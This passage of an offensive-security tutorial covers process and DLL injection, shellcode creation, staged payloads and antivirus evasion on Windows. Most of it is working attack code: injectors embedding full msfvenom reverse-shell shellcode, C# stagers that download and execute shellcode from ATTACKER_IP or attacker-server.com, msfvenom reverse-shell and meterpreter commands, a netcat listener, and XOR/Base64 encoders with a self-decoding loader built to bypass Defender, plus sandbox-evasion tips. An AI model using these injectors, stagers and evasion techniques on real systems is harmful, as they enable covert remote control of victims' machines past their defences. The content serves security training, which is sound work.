// Create a remote thread in the target process that starts executing the injected shellcode
IntPtr hRemoteThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, pRemoteCode, IntPtr.Zero, 0, IntPtr.Zero);
// Wait for the remote thread to finish
WaitForSingleObject(hRemoteThread, 0xFFFFFFFF);
// Cleanup
CloseHandle(hRemoteThread);
// Use Marshal to invoke VirtualFreeEx
Marshal.FreeHGlobal(pRemoteCode);
CloseHandle(hProcess);
}
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f csharp
static byte[] shellcode = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x1d,0x32,
0xc0,0xa8,0x01,0x7e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,
0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,
0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63,
0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,
0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41,
0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x01,0x01,0x48,0x8d,
0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,
0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,
0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,
0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,
0xba,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,
0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5};
}
c++ example
#include <iostream>
#include <Windows.h>
const char* shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main()
{
// Open a handle to the target process (replace with the appropriate process ID)
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 504);
// Allocate memory within the target process
LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Write the shellcode to be injected into the allocated memory
WriteProcessMemory(hProcess, pRemoteCode, shellcode, strlen(shellcode), NULL);
// Create a remote thread in the target process that starts executing the injected shellcode
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
// Wait for the remote thread to finish
WaitForSingleObject(hRemoteThread, INFINITE);
// Cleanup
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
DLL Injection
In DLL injection, a programmer can inject a DLL file into a target process, which means that the code and data from the DLL become part of the running program. This allows the injected DLL to modify or enhance the behavior of the target process.
At a high-level DLL injection can be broken up into six steps:
- Locate a target process to inject.
- Open the target process.
- Allocate memory region for malicious DLL.
- Write the malicious DLL to allocated memory.
- Load and execute the malicious DLL.
Step 1: Find the target process
First, we need to locate the program where we want to inject the DLL. This is done by using some special functions provided by Windows. Here’s an example code snippet in C++:
#include <windows.h>
#include <tlhelp32.h>
DWORD getProcessId(const char* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &entry)) {
do {
if (!strcmp(entry.szExeFile, processName)) {
return entry.th32ProcessID;
}
} while (Process32Next(hSnapshot, &entry));
}
}
return 0; // Process not found
}
DWORD processId = getProcessId("target.exe");
Step 2: Open the target process
Once we have the process ID (PID), we can open the target process using the PID. This allows us to access and manipulate its memory. Here’s an example code snippet:
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
Step 3: Allocate memory for the DLL
Next, we need to allocate memory in the target process where we can place the DLL. This is done using the VirtualAllocEx function. Here’s an example code snippet:
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Step 4: Write the DLL to the allocated memory
After allocating memory, we can write the contents of the DLL into the allocated memory using the WriteProcessMemory function. Here’s an example code snippet:
WriteProcessMemory(hProcess, dllAllocatedMemory, dllPath, strlen(dllPath) + 1, NULL);
Step 5: Load and execute the DLL
Finally, we can load and execute the DLL in the target process. We use the LoadLibrary function to load the DLL, and then create a remote thread in the target process to start executing the DLL code. Here’s an example code snippet:
LPVOID loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD
C# example
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class Program
{
// Import the necessary Windows API functions
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
// Path to the DLL file to be injected
const string dllPath = "path/to/your/dll.dll";
static void Main()
{
// Get the target process by name
Process targetProcess = Process.GetProcessesByName("target")[0];
// Open the target process with all access rights
IntPtr hProcess = OpenProcess(0x1F0FFF, false, targetProcess.Id);
// Allocate memory in the target process to hold the DLL path
IntPtr dllMemory = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)dllPath.Length + 1, 0x00001000 | 0x00002000, 0x40);
// Write the DLL path to the allocated memory
byte[] dllPathBytes = System.Text.Encoding.ASCII.GetBytes(dllPath);
int bytesWritten;
WriteProcessMemory(hProcess, dllMemory, dllPathBytes, (uint)dllPathBytes.Length, out bytesWritten);
// Get the address of the LoadLibraryA function from kernel32.dll
IntPtr kernel32Module = GetModuleHandle("kernel32.dll");
IntPtr loadLibraryAddr = GetProcAddress(kernel32Module, "LoadLibraryA");
// Create a remote thread in the target process to load the DLL
IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddr, dllMemory, 0, IntPtr.Zero);
// Wait for the thread to finish
if (thread != IntPtr.Zero)
WaitForSingleObject(thread, 0xFFFFFFFF);
// Cleanup
CloseHandle(hProcess);
VirtualFreeEx(hProcess, dllMemory, (uint)dllPath.Length + 1, 0x8000);
}
}
AV Evasion Shellcode
AV Evasion MindMap
BypassAV/Bypass-AV.pdf at main · CMEPW/BypassAV (github.com)
AV Detection techniques
An AV detection technique searches for and detects malicious files; different detection techniques can be used within the AV engine, including:
Signature-based detection
Traditional AV technique that looks for predefined malicious patterns and signatures within files.
Heuristic detection
More advanced technique that includes various behavioral methods to analyze suspicious files.
Heuristic detection is a technique used in cybersecurity to identify potentially malicious or suspicious files or activities based on heuristics or rules. It involves analyzing the behavior, characteristics, or patterns of a file or code to determine if it exhibits traits commonly associated with malicious behavior. Unlike signature-based detection, which relies on known signatures or patterns, heuristic detection is more proactive and can detect previously unseen or unknown threats.
Here are some things you can do for evading heuristic detection:
- Polymorphic Code: Implementing code that dynamically modifies its structure or behavior upon execution can make it more challenging for heuristic detection to identify and classify the code as malicious.
- Anti-Analysis Techniques: Employing various anti-analysis techniques, such as code obfuscation, encryption, or packing, can make it harder for heuristic detection mechanisms to understand and analyze the code’s true intent.
- Environmental Awareness: Heuristic detection often relies on identifying abnormal behavior or patterns. By mimicking normal system behavior or modifying code execution based on environmental factors (e.g., time, system state), it may be possible to evade heuristic detection mechanisms.
- Code Fragmentation: Splitting the malicious code into multiple fragments and executing them separately can make it harder for heuristic detection to piece together the entire malicious behavior, potentially leading to evasion.
Dynamic detection
A technique that includes monitoring the system calls and APIs and testing and analyzing in an isolated environment.
Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser’s passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.
- Sleep before execution Depending on how it’s implemented, it can be a great way of bypassing AV’s dynamic analysis. AV’s have a very short time to scan files to not interrupt the user’s workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV’s sandboxes can just skip the sleep depending on how it’s implemented.
- Checking machine’s resources Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user’s machine. You can also get very creative here, for example by checking the CPU’s temperature or even the fan speeds, not everything will be implemented in the sandbox.
- Machine-specific checks If you want to target a user who’s workstation is joined to the “contoso.local” domain, you can do a check on the computer’s domain to see if it matches the one you’ve specified, if it doesn’t, you can make your program exit.
Static detection
Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they’ve probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:
- Encryption If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
- Obfuscation Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you’re trying to obfuscate.
- Custom tooling If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.
Shellcode
Shellcode is a special set of instructions that are created to make a vulnerable program do things it shouldn’t. Usually, it’s used to gain control over the program and do malicious actions. For example, it can open up a system shell or create a connection for remote control.
When the shellcode is put into a process and executed by the vulnerable program, it changes how the program works. It updates registers (special memory storage) and functions so that the attacker’s code gets executed.
Shellcode is typically written in Assembly language, which is a low-level programming language. It’s then translated into hexadecimal codes, which are specific instructions that computers understand. Creating unique and custom shellcode helps bypass antivirus software, but it’s not easy to do. It requires advanced knowledge and skill in Assembly language, which can be quite challenging.
Save code below as helloworld.asm
.
section .text
global _start
_start:
jmp MESSAGE ; 1) Let's jump to MESSAGE
GOBACK:
mov rax, 0x1
mov rdi, 0x1
pop rsi ; 3) We are popping into `rsi`; now we have the
; address of "Hello, World!\r\n"
mov rdx, 0xd
syscall
mov rax, 0x3c
xor rdi, rdi ; Clear rdi (exit code 0)
syscall
MESSAGE:
call GOBACK ; 2) We are going back, since we used `call`, that means
; the return address, which is, in this case, the address
; of "Hello, World!\r\n", is pushed into the stack.
db "Hello, World!", 0dh, 0ah
- We start by jumping to the
MESSAGE
label. This means we want to execute the code starting from theMESSAGE
label. - We then encounter the
GOBACK
routine. This routine is called usingcall
, which pushes the address of the next instruction (the address of the message) onto the stack. It allows us to retrieve the address of the message later. - Inside the
GOBACK
routine, we first prepare the registers to call thesys_write
function. We setrax
to 1 to indicate that we want to use thesys_write
function. We setrdi
to 1, which represents the standard output (STDOUT) file descriptor. We pop the address of the message from the stack and store it inrsi
, which will be used as the pointer to the message. Finally, we setrdx
to 0xd (13 in decimal), which represents the length of the message. - After preparing the registers, we execute the
syscall
instruction to call thesys_write
function. This will print the message to the console. - Next, we set
rax
to 0x3c, which represents thesys_exit
function. We clearrdi
by usingxor rdi, rdi
, which sets it to 0 (indicating exit code 0). - Finally, we execute the
syscall
instruction again to call thesys_exit
function. This will exit the program.
In summary, the code sets up the necessary registers and uses system calls (sys_write
and sys_exit
) to print the “Hello, World!” message and then exit the program. The message itself is stored at the MESSAGE
label, and the GOBACK
routine is used to retrieve its address before calling sys_write
.
# Assembler and link our code
user@AttackBox$ nasm -f elf64 helloworld.asm
user@AttackBox$ ld helloworld.o -o helloworld
user@AttackBox$ ./helloworld
"Hello, World!"
Lets extract the shellcode with the objdump
command by dumping the .text section of the compiled binary.
objdump -d helloworld
To extract the hexadecimal values from the output, you can utilize objcopy
to dump the .text section into a binary file named helloworld.text
.
objcopy -j .text -O binary helloworld helloworld.text
To convert the helloworld.text
file containing the shellcode in binary format to hexadecimal, the xxd
command with the -i
option can be used to output the binary file as a C string.
xxd -i helloworld.text
To confirm that the extracted shellcode works as we expected, we can execute our shellcode and inject it into a C program.
#include <stdio.h>
int main(int argc, char **argv) {
unsigned char message[] = {
**SHELLCODE**
};
(*(void(*)())message)();
return 0;
}
Compile it
gcc -g -Wall -z execstack helloworld.c -o helloworldx
Generating shellcode
The advantage of generating shellcode via public tools is that we don’t need to craft a custom shellcode from scratch, and we don’t even need to be an expert in assembly language. Most public C2 frameworks provide their own shellcode generator compatible with the C2 platform. Of course, this is so convenient for us, but the drawback is that most, or we can say all, generated shellcodes are well-known to AV vendors and can be easily detected.
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
Add the shellcode to this C code which will inject it into memory and execute calc.exe.
#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
DWORD oldProtect;
VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
int (*shellcode)() = (int(*)())(void*)stager;
shellcode();
}
The provided code snippet is a Windows C program that contains a shellcode stager. It first defines a shellcode as a character array. Then, in the main()
function, it uses VirtualProtect()
to mark the shellcode as executable. Next, it casts the shellcode array as a function pointer and executes the shellcode using the shellcode()
function.
Overall, this code allows the execution of the shellcode stored in the stager
array by marking it as executable and then invoking it as a function.
Compile it.
i686-w64-mingw32-gcc calc.c -o calc-MSF.exe
Generate shellcode from EXE
Shellcode can also be stored in .bin
files, which is a raw data format. To obtain shellcode from a raw binary file (.bin), we can use the xxd -i
command in Linux. If a C2 Framework provides shellcode as a .bin file, we can convert it to its hexadecimal representation using this approach. Here are the steps to create a raw binary file and extract the shellcode:
- Generate a raw shellcode to execute
calc.exe
usingmsfvenom
and save it to/tmp/example.bin
. The command is as follows:
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin
This command generates a raw payload without any encoding, resulting in a shellcode with a size of 193 bytes.
- Verify the file type of
/tmp/example.bin
using thefile
command:
file /tmp/example.bin
The output should indicate that /tmp/example.bin
is a data file.
- Extract the shellcode from the binary file using the
xxd -i
command:
xxd -i /tmp/example.bin
This command converts the binary file to its hexadecimal representation and outputs it as an array of unsigned characters (_tmp_example_bin[]
). The length of the shellcode is also provided (_tmp_example_bin_len = 193
).
By comparing the output with the previously created shellcode using Metasploit, you can verify that they match.
Staged payloads
Staged payloads are a technique used in exploit development and remote code execution scenarios. They involve breaking down the payload into multiple stages or steps, where each stage is responsible for executing a specific task and preparing the system for the final payload execution.
The final shellcode is loaded in memory and never touches the disk. This makes it less prone to be detected by AV solutions.
Generate shellcode using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.
Notice that we are using the raw format for our shellcode, as the stager will directly load whatever it downloads into memory.
Use the staged payload below to fetch the generated shellcode.bin
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
// P/Invoke to kernel32.VirtualAlloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
// P/Invoke to kernel32.CreateThread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
// P/Invoke to kernel32.WaitForSingleObject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
// Memory allocation constants
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
// Create a WebClient instance for downloading the shellcode
WebClient wc = new WebClient();
// Ignore certificate validation (for self-signed certificates)
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
// Set the security protocol to TLS 1.2
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// Download the shellcode from the specified URL
byte[] shellcode = wc.DownloadData(url);
// Allocate memory for the shellcode to be executed
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy the shellcode to the allocated memory
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
// Variables for thread creation and execution
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
// Create a new thread to execute the shellcode
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
// Wait for the thread to finish executing the shellcode
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
Another version
using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program
{
// P/Invoke to kernel32.VirtualAlloc
[DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// P/Invoke to kernel32.CreateThread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
// P/Invoke to kernel32.WaitForSingleObject
[DllImport("kernel32")]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
// Memory allocation constants
private static uint MEM_COMMIT = 0x1000;
private static uint PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
// URL for the second stage payload
string stage2Url = "https://attacker-server.com/stage2.bin";
// Download and execute the second stage payload
DownloadAndExecute(stage2Url);
}
public static void DownloadAndExecute(string url)
{
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// Download the second stage payload
byte[] payload = wc.DownloadData(url);
// Allocate memory for the payload
IntPtr payloadAddress = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy the payload to the allocated memory
Marshal.Copy(payload, 0, payloadAddress, payload.Length);
// Execute the payload in a new thread
IntPtr threadHandle;
uint threadId;
threadHandle = CreateThread(IntPtr.Zero, 0, payloadAddress, IntPtr.Zero, 0, out threadId);
// Wait for the thread to finish executing the payload
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
We can compile the staged payload by using csc
on linux.
csc staged-payload.cs
Setup a simple HTTPS server.
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
Catch the reverse shell
nc -lvp 7474
Encoding and Encryption
What is encoding?
Encoding refers to the process of transforming data into a specific format or representation, often depending on a particular algorithm or encoding type. It is commonly used in various contexts, such as program execution, data storage and transmission, and file conversion. Encoding can be applied to different types of data, including videos, HTML, URLs, and binary files like executables and images.
What is encryption?
Encryption plays a crucial role in ensuring information and data security. It focuses on protecting data from unauthorized access and manipulation. Encryption involves converting plain, unencrypted content (plaintext) into an encrypted form (ciphertext) using an encryption algorithm and a key. Without knowledge of the algorithm and the key, the ciphertext cannot be read or decrypted.
Shellcode encoding and encryption
List encoders within metasploit framework.
Notice that all of the public encoders will be detected by AV as soon as it touches the victims disk.
msfvenom --list encoders | grep excellent
Example of using shikata_ga_nai
encoding.
msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp
Listing encryptions modules within Metasploit framework
msfvenom --list encrypt
Example of using XOR encrypted payload.
In XOR encryption, each character of the plaintext (the original unencrypted message) is combined with a corresponding character from a secret key using the XOR operation. The secret key is a sequence of characters that serves as the encryption key. The XOR operation is applied bitwise, meaning it compares each corresponding bit of the plaintext character and the key character.
Notice that the payload will be flagged by the AV. The reason is still that AV vendors have invested lots of time into ensuring simple msfvenom payloads are detected.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe
Creating custom encoders
Encoder
We will take a simple reverse shell generated by msfvenom and use a combination of XOR and Base64 to bypass Defender.
msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp
In the code below we will be XORing the payload with a custom key first and then encoding it using base64. This is just an example and you should write your own custom encoder in order to evade detection.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Encrypter
{
internal class Program
{
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
static void Main(string[] args)
{
//XOR Key - It has to be the same in the Droppr for Decrypting
string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
//Original Shellcode here (csharp format)
byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };
//XORing byte by byte and saving into a new array of bytes
byte[] encoded = xor(buf, keyBytes);
Console.WriteLine(Convert.ToBase64String(encoded));
}
}
}
Remember to replace the buf
variable with the shellcode you generated with msfvenom.
Self-decoding Payload
Since we have an encoded payload, we need to adjust our code so that it decodes the shellcode before executing it. To match the encoder, we will decode everything in the reverse order we encoded it, so we start by decoding the base64 content and then continue by XORing the result with the same key we used in the encoder.
using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;
public class Program {
// Import required functions from kernel32.dll
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
// Constants for memory allocation and protection
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
// XOR operation between shell and key bytes
private static byte[] xor(byte[] shell, byte[] keyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= keyBytes[i % keyBytes.Length];
}
return shell;
}
public static void Main()
{
// Encoded shellcode as Base64 string
string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
// Convert Base64 string to byte array
byte[] data = Convert.FromBase64String(dataBS64);
// Key used for XOR encoding
string key = "THMK3y123!";
// Convert key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
// XOR encode the shellcode
byte[] encoded = xor(data, keyBytes);
// Allocate memory with execute, read, and write permissions
UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
